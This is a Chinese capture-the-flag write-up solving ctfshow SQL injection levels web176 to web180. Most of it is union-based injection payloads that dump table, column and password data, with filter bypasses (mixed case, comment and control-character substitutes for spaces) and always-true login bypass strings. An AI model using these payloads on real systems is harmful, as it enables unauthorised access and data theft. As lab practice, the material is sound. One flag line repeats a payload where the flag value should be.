目录
1、web176
2、web177
3、web178
4、web179
5、web180
1、web176
1' order by 4--+
闭合后简单判断了下字段数是 3
测试联合查询注入,存在关键字的过滤,包括 select 和 union
(后面经过测试实际只过滤了 select)
大小写绕过一下:
0' Union Select 1,2,3--+
回显成功
数据库我都懒得查了,直接用 database() 函数回显的结果,查表:
0' Union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
得到表名为 ctfshow_user
查该表下的所有列名:
0' Union Select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+
题目中要求 username !='flag'
我们只查 id 和 password:
0' Union Select 1,id,password from ctfshow_user--+
拿到 flag:ctfshow{4dacb0f6-4795-43f4-8b76-d300234e40b6}
2、web177
测了一下是单引号,但是尝试注释后面的内容发现没有报错但是也没有回显
再用一个分号将后面的闭合,回显成功
可是在判断字段数时又没有回显了
猜测空格被过滤掉了,采用内敛注释绕过,但是这里结尾的分号得用 url 编码的形式,即 %23,不然没有回显示,但是第一个单引号就可以直接用,我也不清楚是什么原因:
1'/**/order/**/by/**/3%23
还是在 4 的时候报错:
直接用上一题的 payload 改,将空格用 /**/ 替换:
0'/**/Union/**/Select/**/1,id,password/**/from/**/ctfshow_user%23
拿到弗兰格:ctfshow{0350cbf2-1553-46c3-bb48-f627bffcae9d}
此外,在前面的 rce 学习中,我们知道空格也可以用 %0a(换行符) 代替:
0'%0aUnion%0aSelect%0a1,id,password%0afrom%0actfshow_user%23
%09 水平制表符 (Tab) 也可以:
0'%09Union%0aSelect%091,id,password%09from%09ctfshow_user%23
3、web178
还是过滤空格,并且过滤了内敛注释,采用后面说的另外的两种方法:
0'%0aUnion%0aSelect%0a1,id,password%0afrom%0actfshow_user%23
0'%09Union%0aSelect%091,id,password%09from%09ctfshow_user%23
拿到 flag:ctfshow{9555668c-9592-41cd-9b2f-00d9627842b3}
4、web179
将上面的两个 %0a 和 %09 都过滤了,这是要赶尽杀绝啊。
试了下回车符 %0d 发现不行,采用 %0c (换页符)绕过:
0'%0cUnion%0cSelect%0c1,id,password%0cfrom%0cctfshow_user%23
拿到 flag:ctfshow{fd098ddd-f01e-414a-96dd-98548cec2fe3}
还可以采用万能密码:
1'||1%23
5、web180
这里 %23 、注释符都不行了,采用 --%0c 注释,%0c 代替空格:
判断字段数
1'order%0cby%0c3--%0c
字段数还是 3
查数据库名:
0'Union%0cSelect%0c1,2,database()--%0c
数据库名为 ctfshow_web
查表名:
0'Union%0cSelect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c
得到表名为 ctfshow_user
查列名:
0'Union%0cSelect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'--%0c
查 password 就行了:
0'Union%0cSelect%0c1,2,password%0cfrom%0cctfshow_user--%0c
拿到 flag:0'Union%0cSelect%0c1,2,password%0cfrom%0cctfshow_user--%0c
也可以在 union select 里再嵌套一个 select :
0'%0cUnion%0cSelect%0c1,(Select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3
尝试上一题的万能密码,闭合后面语句,但是只能看到一行的数据:
0'||'1
我们只显示 username 为 flag 的信息:
0'||username='flag
注释掉后面内容,可以显示全部:
0'||1--%0c